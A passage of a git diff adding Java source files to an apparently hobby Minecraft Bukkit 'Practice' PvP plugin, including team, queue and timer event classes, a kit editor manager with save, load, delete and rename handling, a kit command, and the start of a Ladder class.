PlayerCreateTeamEvent extends PlayerPartyEvent implements Cancellable { + + private boolean cancelled; + + public PlayerCreateTeamEvent(Player player) { + super(player, null); + this.cancelled = false; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerDisbandTeamEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerDisbandTeamEvent.java new file mode 100644 index 0000000..8bf3e38 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerDisbandTeamEvent.java @@ -0,0 +1,23 @@ +package me.redis.practice.events; + +import me.redis.practice.team.Team; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; + +public class PlayerDisbandTeamEvent extends PlayerPartyEvent implements Cancellable { + + private boolean cancelled; + + public PlayerDisbandTeamEvent(Player player, Team team) { + super(player, team); + this.cancelled = false; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerEnterQueueEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerEnterQueueEvent.java new file mode 100644 index 0000000..3c837c7 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerEnterQueueEvent.java @@ -0,0 +1,35 @@ +package me.redis.practice.events; + +import me.redis.practice.queue.IQueue; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.HandlerList; + +public class PlayerEnterQueueEvent extends PlayerQueueEvent implements Cancellable { + + private static final HandlerList handlers = new HandlerList();; + private boolean cancelled; + + public PlayerEnterQueueEvent(Player player, IQueue queue) { + super(player, queue); + this.cancelled = false; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + @Override + public HandlerList getHandlers() { + return PlayerEnterQueueEvent.handlers; + } + + public static HandlerList getHandlerList() { + return PlayerEnterQueueEvent.handlers; + } + +} diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerExitQueueEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerExitQueueEvent.java new file mode 100644 index 0000000..8f9f680 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerExitQueueEvent.java @@ -0,0 +1,39 @@ +package me.redis.practice.events; + +import me.redis.practice.queue.IQueue; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.HandlerList; + +public class PlayerExitQueueEvent extends PlayerQueueEvent implements Cancellable { + + private static final HandlerList handlers; + private boolean cancelled; + + public PlayerExitQueueEvent(Player player, IQueue queue) { + super(player, queue); + this.cancelled = false; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + @Override + public HandlerList getHandlers() { + return PlayerExitQueueEvent.handlers; + } + + public static HandlerList getHandlerList() { + return PlayerExitQueueEvent.handlers; + } + + static { + handlers = new HandlerList(); + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerJoinTeamEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerJoinTeamEvent.java new file mode 100644 index 0000000..fd6bac0 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerJoinTeamEvent.java @@ -0,0 +1,31 @@ +package me.redis.practice.events; + +import me.redis.practice.team.Team; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; + +public class PlayerJoinTeamEvent extends PlayerPartyEvent implements Cancellable { + private boolean cancelled; + private boolean announce; + + public PlayerJoinTeamEvent(Player player, Team team, boolean announce) { + super(player, team); + + this.cancelled = false; + this.announce = false; + this.announce = announce; + } + + public boolean shouldAnnounce() { + return this.announce; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerKickTeamEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerKickTeamEvent.java new file mode 100644 index 0000000..75b52d9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerKickTeamEvent.java @@ -0,0 +1,44 @@ +package me.redis.practice.events; + +import me.redis.practice.team.Team; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; + +public class PlayerKickTeamEvent extends PlayerPartyEvent implements Cancellable { + + private boolean cancelled; + private Player kicked; + private boolean clean; + private boolean announce; + + public PlayerKickTeamEvent(Player player, Player kicked, Team team, boolean clean, boolean announce) { + super(player, team); + this.cancelled = false; + this.clean = false; + this.announce = false; + this.kicked = kicked; + this.clean = clean; + this.announce = announce; + } + + public Player getKickedPlayer() { + return this.kicked; + } + + public boolean shouldClean() { + return this.clean; + } + + public boolean shouldAnnounce() { + return this.announce; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerLeaveTeamEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerLeaveTeamEvent.java new file mode 100644 index 0000000..ef4ebc4 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerLeaveTeamEvent.java @@ -0,0 +1,38 @@ +package me.redis.practice.events; + +import me.redis.practice.team.Team; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; + +public class PlayerLeaveTeamEvent extends PlayerPartyEvent implements Cancellable { + + private boolean cancelled; + private boolean clean; + private boolean announce; + + public PlayerLeaveTeamEvent(Player player, Team team, boolean clean, boolean announce) { + super(player, team); + this.cancelled = false; + this.clean = false; + this.announce = false; + this.clean = clean; + this.announce = announce; + } + + public boolean shouldClean() { + return this.clean; + } + + public boolean shouldAnnounce() { + return this.announce; + } + + public boolean isCancelled() { + return this.cancelled; + } + + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerPartyEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerPartyEvent.java new file mode 100644 index 0000000..07692c9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerPartyEvent.java @@ -0,0 +1,28 @@ +package me.redis.practice.events; + +import lombok.Getter; +import lombok.Setter; +import me.redis.practice.team.Team; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public abstract class PlayerPartyEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + @Getter @Setter private Team team; + @Getter private Player player; + + public PlayerPartyEvent(Player player, Team team) { + this.team = team; + this.player = player; + } + + public HandlerList getHandlers() { + return handlers; + } + + public static HandlerList getHandlerList() { + return handlers; + } +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/PlayerQueueEvent.java b/Practice/src/main/java/me/redis/practice/events/PlayerQueueEvent.java new file mode 100644 index 0000000..42a6c01 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/PlayerQueueEvent.java @@ -0,0 +1,23 @@ +package me.redis.practice.events; + +import lombok.Getter; +import me.redis.practice.queue.IQueue; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +public class PlayerQueueEvent extends Event { + + @Getter private IQueue queue; + @Getter private Player player; + + public PlayerQueueEvent(Player player, IQueue queue) { + this.queue = queue; + this.player = player; + } + + public HandlerList getHandlers() { + return null; + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/events/TimerClearEvent.java b/Practice/src/main/java/me/redis/practice/events/TimerClearEvent.java new file mode 100644 index 0000000..a4f7c06 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/TimerClearEvent.java @@ -0,0 +1,59 @@ +package me.redis.practice.events; + +import com.google.common.base.Optional; +import me.redis.practice.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} is removed. + */ +public class TimerClearEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerClearEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerClearEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.of(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Practice/src/main/java/me/redis/practice/events/TimerExpireEvent.java b/Practice/src/main/java/me/redis/practice/events/TimerExpireEvent.java new file mode 100644 index 0000000..49a90c6 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/TimerExpireEvent.java @@ -0,0 +1,59 @@ +package me.redis.practice.events; + +import com.google.common.base.Optional; +import me.redis.practice.timer.Timer; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when a {@link Timer} expires. + */ +public class TimerExpireEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional userUUID; + private final Timer timer; + + public TimerExpireEvent(Timer timer) { + this.userUUID = Optional.absent(); + this.timer = timer; + } + + public TimerExpireEvent(UUID userUUID, Timer timer) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Practice/src/main/java/me/redis/practice/events/TimerExtendEvent.java b/Practice/src/main/java/me/redis/practice/events/TimerExtendEvent.java new file mode 100644 index 0000000..857ddd6 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/TimerExtendEvent.java @@ -0,0 +1,98 @@ +package me.redis.practice.events; + +import com.google.common.base.Optional; +import me.redis.practice.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} is extended. + */ +public class TimerExtendEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long previousDuration; + private long newDuration; + + public TimerExtendEvent(Timer timer, long previousDuration, long newDuration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public TimerExtendEvent(@Nullable Player player, UUID uniqueId, Timer timer, long previousDuration, long newDuration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.previousDuration = previousDuration; + this.newDuration = newDuration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this was removed for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the removed user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getPreviousDuration() { + return previousDuration; + } + + public long getNewDuration() { + return newDuration; + } + + public void setNewDuration(long newDuration) { + this.newDuration = newDuration; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Practice/src/main/java/me/redis/practice/events/TimerPauseEvent.java b/Practice/src/main/java/me/redis/practice/events/TimerPauseEvent.java new file mode 100644 index 0000000..05501b9 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/TimerPauseEvent.java @@ -0,0 +1,78 @@ +package me.redis.practice.events; + +import com.google.common.base.Optional; +import me.redis.practice.timer.Timer; +import org.bukkit.event.Cancellable; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import java.util.UUID; + +/** + * Event called when the pause state of a {@link Timer} changes. + */ +public class TimerPauseEvent extends Event implements Cancellable { + + private static final HandlerList handlers = new HandlerList(); + + private boolean cancelled; + private final boolean paused; + private final Optional userUUID; + private final Timer timer; + + public TimerPauseEvent(Timer timer, boolean paused) { + this.userUUID = Optional.absent(); + this.timer = timer; + this.paused = paused; + } + + public TimerPauseEvent(UUID userUUID, Timer timer, boolean paused) { + this.userUUID = Optional.fromNullable(userUUID); + this.timer = timer; + this.paused = paused; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + public boolean isPaused() { + return paused; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } + + @Override + public boolean isCancelled() { + return cancelled; + } + + @Override + public void setCancelled(boolean cancelled) { + this.cancelled = cancelled; + } +} diff --git a/Practice/src/main/java/me/redis/practice/events/TimerStartEvent.java b/Practice/src/main/java/me/redis/practice/events/TimerStartEvent.java new file mode 100644 index 0000000..9d9ad4a --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/events/TimerStartEvent.java @@ -0,0 +1,75 @@ +package me.redis.practice.events; + +import com.google.common.base.Optional; +import me.redis.practice.timer.Timer; +import org.bukkit.entity.Player; +import org.bukkit.event.Event; +import org.bukkit.event.HandlerList; + +import javax.annotation.Nullable; +import java.util.UUID; + +/** + * Event called when a {@link Timer} starts. + */ +public class TimerStartEvent extends Event { + + private static final HandlerList handlers = new HandlerList(); + + private final Optional player; + private final Optional userUUID; + private final Timer timer; + private final long duration; + + public TimerStartEvent(Timer timer, final long duration) { + this.player = Optional.absent(); + this.userUUID = Optional.absent(); + this.timer = timer; + this.duration = duration; + } + + public TimerStartEvent(@Nullable Player player, UUID uniqueId, Timer timer, long duration) { + this.player = Optional.fromNullable(player); + this.userUUID = Optional.fromNullable(uniqueId); + this.timer = timer; + this.duration = duration; + } + + public Optional getPlayer() { + return player; + } + + /** + * Gets the optional UUID of the user this has expired for. + *

+ * This may return absent if the timer is not of a player type + *

+ * + * @return the expiring user UUID or {@link Optional#absent()} + */ + public Optional getUserUUID() { + return userUUID; + } + + /** + * Gets the {@link Timer} that was expired. + * + * @return the expiring timer + */ + public Timer getTimer() { + return timer; + } + + public long getDuration() { + return duration; + } + + public static HandlerList getHandlerList() { + return handlers; + } + + @Override + public HandlerList getHandlers() { + return handlers; + } +} diff --git a/Practice/src/main/java/me/redis/practice/kit/Kit.java b/Practice/src/main/java/me/redis/practice/kit/Kit.java new file mode 100644 index 0000000..ac90190 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/kit/Kit.java @@ -0,0 +1,19 @@ +package me.redis.practice.kit; + +import lombok.Getter; +import lombok.Setter; +import me.redis.practice.ladders.Ladder; + +@Getter +public class Kit { + @Setter private String name; + @Setter private String inventory; + private Ladder ladder; + private int number; + + public Kit(String name, Ladder ladder, int number) { + this.name = name; + this.ladder = ladder; + this.number = number; + } +} diff --git a/Practice/src/main/java/me/redis/practice/kit/KitManager.java b/Practice/src/main/java/me/redis/practice/kit/KitManager.java new file mode 100644 index 0000000..4fb4da2 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/kit/KitManager.java @@ -0,0 +1,330 @@ +package me.redis.practice.kit; + +import lombok.Getter; +import me.redis.practice.Practice; +import me.redis.practice.enums.ProfileStatus; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.PracticeUtils; +import me.redis.practice.utils.SerializationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.block.Action; +import org.bukkit.event.entity.ProjectileLaunchEvent; +import org.bukkit.event.inventory.InventoryClickEvent; +import org.bukkit.event.player.*; +import org.bukkit.inventory.Inventory; +import org.bukkit.scheduler.BukkitRunnable; + +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +public class KitManager implements Listener { + @Getter + private Map editKits; + @Getter + private Map renamingKits; + + public KitManager() { + this.editKits = new HashMap<>(); + this.renamingKits = new HashMap<>(); + + Bukkit.getPluginManager().registerEvents(this, Practice.getPlugin()); + } + + public void startEditing(Player player, Ladder ladder) { + this.editKits.put(player.getUniqueId(), ladder); + + Practice.getPlugin().getEntityHider().hideAllPlayers(player); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + + if (profile.getStatus() != ProfileStatus.LOBBY) { + player.sendMessage(ChatColor.RED + "You must be in the lobby to edit your kits."); + return; + } + + profile.setStatus(ProfileStatus.EDITING); + + PracticeUtils.resetPlayer(player); + player.updateInventory(); + + if (ladder.getDefaultInventory() != null) { + SerializationUtils.playerInventoryFromString(ladder.getDefaultInventory(), player); + } + + player.updateInventory(); + + player.teleport(new Location(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.EDITOR.NAME")), Practice.getPlugin().getConfig().getDouble("WORLD.EDITOR.X"), Practice.getPlugin().getConfig().getDouble("WORLD.EDITOR.Y"), Practice.getPlugin().getConfig().getDouble("WORLD.EDITOR.Z"))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou are now editing your &a" + ladder.getName() + "&e's kits.")); + } + + private void finishEditing(Player player) { + this.editKits.remove(player.getUniqueId()); + + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + profile.setStatus(ProfileStatus.LOBBY); + + PracticeUtils.resetPlayer(player); + player.updateInventory(); + + new BukkitRunnable() { + public void run() { + player.getInventory().setContents(PracticeUtils.getLobbyInventory()); + player.updateInventory(); + } + }.runTaskLater(Practice.getPlugin(), 2L); + + player.teleport(Bukkit.getWorld(Practice.getPlugin().getConfig().getString("WORLD.NAME")).getSpawnLocation()); + } + + @EventHandler(ignoreCancelled = true) + public void onInventoryClick(InventoryClickEvent event) { + if (!editKits.containsKey(event.getWhoClicked().getUniqueId())) return; + + Inventory inv = event.getClickedInventory(); + + if (inv == null) return; + + if (inv.getTitle().contains("Manage")) { + if (event.getCurrentItem() == null) return; + if (event.getCurrentItem().getType().equals(Material.AIR)) return; + + Player player = (Player) event.getWhoClicked(); + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + Ladder ladder = editKits.get(player.getUniqueId()); + + String item = ChatColor.stripColor(event.getCurrentItem().getItemMeta().getDisplayName().toLowerCase()); + String number = item.replaceAll("\\D+", ""); + + if (item.contains("save")) { + switch (number) { + case "1": //Save kit 1 + Kit kit1 = new Kit(editKits.get(player.getUniqueId()).getName() + " kit 1", editKits.get(player.getUniqueId()), 1); + kit1.setInventory(SerializationUtils.playerInventoryToString(player.getInventory())); + + if (profile.getKitByLadderAndNumber(ladder, 1) != null) { + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 1)); + profile.getKits().add(kit1); + } else { + profile.getKits().add(kit1); + } + + profile.save(); + break; + case "2": + Kit kit2 = new Kit(editKits.get(player.getUniqueId()).getName() + " kit 2", editKits.get(player.getUniqueId()), 2); + kit2.setInventory(SerializationUtils.playerInventoryToString(player.getInventory())); + if (profile.getKitByLadderAndNumber(ladder, 2) != null) { + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 2)); + profile.getKits().add(kit2); + } else { + profile.getKits().add(kit2); + } + profile.save(); + break; + case "3": + Kit kit3 = new Kit(editKits.get(player.getUniqueId()).getName() + " kit 3", editKits.get(player.getUniqueId()), 3); + kit3.setInventory(SerializationUtils.playerInventoryToString(player.getInventory())); + if (profile.getKitByLadderAndNumber(ladder, 3) != null) { + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 3)); + profile.getKits().add(kit3); + } else { + profile.getKits().add(kit3); + } + profile.save(); + break; + } + + player.closeInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved one of your &a" + editKits.get(player.getUniqueId()).getName() + "&e's kits.")); + } else if (item.contains("load")) { + switch (number) { + case "1": + SerializationUtils.playerInventoryFromString(profile.getKitByLadderAndNumber(ladder, 1).getInventory(), player); + break; + case "2": + SerializationUtils.playerInventoryFromString(profile.getKitByLadderAndNumber(ladder, 2).getInventory(), player); + break; + case "3": + SerializationUtils.playerInventoryFromString(profile.getKitByLadderAndNumber(ladder, 3).getInventory(), player); + break; + } + + player.closeInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have loaded one of your &a" + ladder.getName() + "&e's kits.")); + } else if (item.contains("delete")) { + switch (number) { + case "1": + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 1)); + profile.save(); + break; + case "2": + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 2)); + profile.save(); + break; + case "3": + profile.getKits().remove(profile.getKitByLadderAndNumber(ladder, 3)); + profile.save(); + break; + } + + player.closeInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have deleted one of your &a" + ladder.getName() + "&e's kits.")); + } else if (item.contains("rename")) { + switch (number) { + case "1": + renamingKits.put(player.getUniqueId(), profile.getKitsByLadder(ladder).get(0)); + System.out.println("yea"); + break; + case "2": + renamingKits.put(player.getUniqueId(), profile.getKitsByLadder(ladder).get(1)); + break; + case "3": + renamingKits.put(player.getUniqueId(), profile.getKitsByLadder(ladder).get(2)); + break; + } + + player.closeInventory(); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eType a new name for the kit &7(Type 'cancel' to cancel this action).")); + } + + event.setCancelled(true); + } + } + + @EventHandler + public void onChat(AsyncPlayerChatEvent event) { + UUID uuid = event.getPlayer().getUniqueId(); + + if (renamingKits.containsKey(uuid)) { + if (event.getMessage().equalsIgnoreCase("cancel")) { + renamingKits.remove(uuid); + event.getPlayer().sendMessage(ChatColor.RED + "You have cancelled the kit renaming."); + } else { + if (event.getMessage().contains(" ")) { + event.getPlayer().sendMessage(ChatColor.RED + "You can't put names with spaces in it."); + return; + } + + renamingKits.get(uuid).setName(event.getMessage()); + event.getPlayer().sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have changed the name of your kit.")); + renamingKits.remove(uuid); + + Practice.getPlugin().getProfileManager().getProfile(uuid).save(); + } + + event.setCancelled(true); + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onInteract(PlayerInteractEvent event) { + if (!this.editKits.containsKey(event.getPlayer().getUniqueId())) { + return; + } + + Player player = event.getPlayer(); + Ladder ladder = editKits.get(player.getUniqueId()); + + if (event.getAction() != Action.RIGHT_CLICK_BLOCK) return; + + if (event.getClickedBlock().getType().equals(Material.ANVIL)) { + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + Inventory menu = Bukkit.createInventory(null, 27, "Manage " + editKits.get(player.getUniqueId()).getName() + " kits"); + + menu.setItem(2, new ItemBuilder(Material.CHEST).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eSave kit: &61")).create()); + menu.setItem(4, new ItemBuilder(Material.CHEST).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eSave kit: &62")).create()); + menu.setItem(6, new ItemBuilder(Material.CHEST).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eSave kit: &63")).create()); + + if (profile.getKitByLadderAndNumber(ladder, 1) != null) { + Kit kit1 = profile.getKitByLadderAndNumber(ladder, 1); + + menu.setItem(11, new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eLoad kit: &6" + kit1.getName())).create()); + //menu.setItem(20, new ItemBuilder(Material.NAME_TAG).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eRename kit: &6" + kit1.getName())).create()); + menu.setItem(20, new ItemBuilder(Material.FIRE).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&cDelete kit: &6" + kit1.getName())).create()); + } + + if (profile.getKitByLadderAndNumber(ladder, 2) != null) { + Kit kit1 = profile.getKitByLadderAndNumber(ladder, 2); + + menu.setItem(13, new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eLoad kit: &6" + kit1.getName())).create()); + //menu.setItem(22, new ItemBuilder(Material.NAME_TAG).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eRename kit: &6" + kit1.getName())).create()); + menu.setItem(22, new ItemBuilder(Material.FIRE).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&cDelete kit: &6" + kit1.getName())).create()); + } + + if (profile.getKitByLadderAndNumber(ladder, 3) != null) { + Kit kit1 = profile.getKitByLadderAndNumber(ladder, 3); + + menu.setItem(15, new ItemBuilder(Material.ENCHANTED_BOOK).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eLoad kit: &6" + kit1.getName())).create()); + //menu.setItem(24, new ItemBuilder(Material.NAME_TAG).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&eRename kit: &6" + kit1.getName())).create()); + menu.setItem(24, new ItemBuilder(Material.FIRE).setDisplayName(ChatColor.translateAlternateColorCodes('&', "&cDelete kit: &6" + kit1.getName())).create()); + } + + player.openInventory(menu); + event.setCancelled(true); + } + + if (event.getClickedBlock().getType().equals(Material.SIGN) || event.getClickedBlock().getType().equals(Material.SIGN_POST) || event.getClickedBlock().getType().equals(Material.WALL_SIGN)) { + PracticeUtils.resetPlayer(player); + finishEditing(player); + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onPearl(PlayerInteractEvent event) { + if ((event.getAction() == Action.RIGHT_CLICK_AIR || event.getAction() == Action.RIGHT_CLICK_BLOCK) && event.getItem() != null && event.getItem().getType() == Material.ENDER_PEARL) { + if (this.editKits.containsKey(event.getPlayer().getUniqueId())) { + event.setCancelled(true); + } + } + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.MONITOR) + public void onThrow(ProjectileLaunchEvent event) { + if (event.getEntity().getShooter() instanceof Player) { + Player player = (Player) event.getEntity().getShooter(); + + if (this.editKits.containsKey(player.getUniqueId())) { + event.setCancelled(true); + } + } + } + + @EventHandler + public void onDrop(PlayerDropItemEvent event) { + if (this.editKits.containsKey(event.getPlayer().getUniqueId())) { + event.getItemDrop().remove(); + } + } + + @EventHandler + public void onQuit(PlayerQuitEvent event) { + if (renamingKits.containsKey(event.getPlayer().getUniqueId())) { + renamingKits.remove(event.getPlayer().getUniqueId()); + } + if (!this.editKits.containsKey(event.getPlayer().getUniqueId())) { + return; + } + + + this.editKits.remove(event.getPlayer().getUniqueId()); + } + + @EventHandler + public void onKick(PlayerKickEvent event) { + if (!this.editKits.containsKey(event.getPlayer().getUniqueId())) { + return; + } + + this.editKits.remove(event.getPlayer().getUniqueId()); + } + +} \ No newline at end of file diff --git a/Practice/src/main/java/me/redis/practice/kit/commands/KitCommand.java b/Practice/src/main/java/me/redis/practice/kit/commands/KitCommand.java new file mode 100644 index 0000000..d85008d --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/kit/commands/KitCommand.java @@ -0,0 +1,42 @@ +package me.redis.practice.kit.commands; + +import me.redis.practice.Practice; +import me.redis.practice.kit.Kit; +import me.redis.practice.ladders.Ladder; +import me.redis.practice.profile.Profile; +import me.redis.practice.utils.SerializationUtils; +import me.redis.practice.utils.command.ExecutableCommand; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class KitCommand extends ExecutableCommand { + public KitCommand() { + super("kitgg"); + } + + @Override + public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + Profile profile = Practice.getPlugin().getProfileManager().getProfile(player); + + if (args.length == 1) { + String ladderName = args[0]; + + if (Practice.getPlugin().getLadderManager().getLadder(ladderName) != null) { + Ladder ladder = Practice.getPlugin().getLadderManager().getLadder(ladderName); + // Kit kit = new Kit("yeah", ladder); + // kit.setInventory(SerializationUtils.playerInventoryToString(player.getInventory())); + + // profile.getKits().add(kit); + // profile.save(); + + System.out.println("Saved successfully"); + } + } + } + + return true; + } +} diff --git a/Practice/src/main/java/me/redis/practice/ladders/Ladder.java b/Practice/src/main/java/me/redis/practice/ladders/Ladder.java new file mode 100644 index 0000000..c2eac59 --- /dev/null +++ b/Practice/src/main/java/me/redis/practice/ladders/Ladder.java @@ -0,0 +1,102 @@ +package me.redis.practice.ladders; + +import com.mongodb.client.FindIterable; +import com.mongodb.client.model.Filters; +import lombok.Getter; +import lombok.Setter; +import me.redis.practice.Practice; +import me.redis.practice.queue.IQueue; +import me.redis.practice.queue.type.SoloQueue; +import me.redis.practice.utils.ItemBuilder; +import me.redis.practice.utils.SerializationUtils; +import org.bson.Document; +import org.bson.conversions.Bson; +import org.bukkit.inventory.ItemStack; + +import java.util.List; + +@Getter +public class Ladder { + private String name; + @Setter private String icon = "STRING"; + @Setter private String defaultInventory; + @Setter private boolean regainHealth = true; + @Setter private boolean ranked = false; + @Setter private Integer position = 0; + + public Ladder(String name) { + this.name = name; + 